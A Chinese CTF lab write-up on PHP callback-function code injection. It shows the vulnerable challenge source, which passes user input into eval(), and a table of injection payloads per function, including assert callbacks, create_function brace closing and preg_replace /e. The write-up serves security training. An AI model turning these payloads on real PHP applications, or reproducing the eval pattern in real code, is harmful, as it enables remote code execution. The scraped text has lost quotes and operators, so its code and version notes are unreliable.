
PHP回调函数RCE靶场 WriteUp?phpinclude(get_flag.php);global$flag;session_start();// 开启 sessionfunctionhello_ctf($function,$content){global$flag;$code$function.(.$content.);;echoYour Code:$codebr;eval($code);}functionget_fun(){$func_list[eval,assert,call_user_func,create_function,array_map,call_user_func_array,usort,array_filter,array_reduce,preg_replace];if(!isset($_SESSION[random_func])){$_SESSION[random_func]$func_list[array_rand($func_list)];}$random_func$_SESSION[random_func];$url_fucnpreg_replace(/_/,-,$_SESSION[random_func]);echo获得新的函数:$random_func去 https://www.php.net/manual/zh/function..$url_fucn..php 查看函数详情。br;return$_SESSION[random_func];}functionstart($act){$random_funcget_fun();if($actr){/* 通过发送GET ?actionr 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */session_unset();session_destroy();}if($actsubmit){$user_content$_POST[content];hello_ctf($random_func,$user_content);}}isset($_GET[action])?start($_GET[action]):;highlight_file(__FILE__);?一、 题目分析题目核心代码如下functionhello_ctf($function,$content){global$flag;$code$function.(.$content.);;echoYour Code:$codebr;eval($code);}代码逻辑系统从列表中随机抽取一个PHP函数赋给$function用户通过 POST 提交content参数两者拼接后进入eval()执行。例如函数是array_filter用户输入X最终执行的就是array_filter(X);。目标构造合适的content让拼接后的代码能读取全局变量$flag。二、 踩坑记录与核心思路转变重要在最初尝试时针对回调函数如array_filter我使用了assert作为回调来执行代码content[echo $flag], assert报错Fatal error: Uncaught ArgumentCountError: array_filter() expects at most 2 arguments, 3 given原因分析PHP版本问题PHP 7.2 及以上版本assert()不再作为普通的可回调函数使用将其作为字符串传入call_user_func或数组回调中会导致解析异常或参数错位。变量解析问题$flag被解析为具体的字符串后如果内部包含单引号或特殊字符会导致原本的字符串提前闭合使得 PHP 误判为传入了多余的参数。核心思路转变对于带有回调特性的函数array_map,array_filter,usort等最稳定、最通用的方法不是让回调去“执行代码”而是让回调去“打印变量”。我们将$flag放入数组中回调函数使用var_dump或print_r。系统执行时会自动将数组中的$flag取出传给var_dump从而直接输出 flag完美避开assert的兼容性问题三、 抓包改包操作流程访问首页记录页面提示的随机函数名和Cookie (PHPSESSID)。使用 Burp Suite / Hackbar 构造 POST 请求URL 加上?actionsubmit。必须带上 Cookie否则 Session 丢失服务器会重新随机函数导致 Payload 失效。在 Body 中传入对应的content注意抓包改包时特殊字符需进行 URL 编码。四、 全函数 Payload 字典抓包专用以下 Payload 均已解决引号闭合和参数数量问题分为直接代码执行型和回调变量输出型。推荐优先使用var_dump方法通杀所有 PHP 版本。1.eval/assert直接执行型需用单引号包裹代码拼接后为eval(echo $flag);函数content 明文抓包 Body (URL编码)evalecho $flagcontentecho%20%24flagassertecho $flagcontentecho%20%24flag2. 回调执行代码型仅适用于 PHP 7.2通过回调assert执行代码。函数content 明文抓包 Body (URL编码)call_user_funcassert, echo $flagcontentassert%2C%20echo%20%24flagcall_user_func_arrayassert, [echo $flag]contentassert%2C%20%5Becho%20%24flag%5Darray_mapassert, [echo $flag]contentassert%2C%20%5Becho%20%24flag%5Darray_filter[echo $flag], assertcontent%5Becho%20%24flag%5D%2C%20assertusort[echo $flag,echo $flag], assertcontent%5Becho%20%24flag%2Cecho%20%24flag%5D%2C%20assertarray_reduce[0], assert, echo $flagcontent%5B0%5D%2C%20assert%2C%20echo%20%24flag3. 回调变量输出型 通杀推荐适配 PHP 7.2不执行代码直接用var_dump打印$flag变量本身无需引号包裹$flag。函数content 明文抓包 Body (URL编码)call_user_funcvar_dump, $flagcontentvar_dump%2C%20%24flagcall_user_func_arrayvar_dump, [$flag]contentvar_dump%2C%20%5B%24flag%5Darray_mapvar_dump, [$flag]contentvar_dump%2C%20%5B%24flag%5Darray_filter[$flag], var_dumpcontent%5B%24flag%5D%2C%20var_dumpusort[$flag,1], var_dumpcontent%5B%24flag%2C1%5D%2C%20var_dumparray_reduce[$flag], var_dumpcontent%5B%24flag%5D%2C%20var_dump4. 特殊构造型函数content 明文抓包 Body (URL编码)原理create_function, }echo $flag;/*content%2C%20%7Decho%20%24flag%3B%2F*提前闭合函数体注释掉多余的}preg_replace/./e, echo $flag, 1content%2F.%2Fe%2C%20echo%20%24flag%2C%201利用/e修饰符执行替换字符串仅限 PHP 7.0五、 总结做 PHP 回调函数 RCE 题目时看清 PHP 版本高版本直接放弃assert回调。思路要灵活不要死磕“执行代码”利用系统自带的输出函数var_dump,print_r作为回调去“打印变量”是更优雅、更稳定的解法。注意抓包细节一定要带上 Session Cookie且 Body 中的特殊字符如空格、$、[、]必须 URL 编码否则极易出现参数解析错误。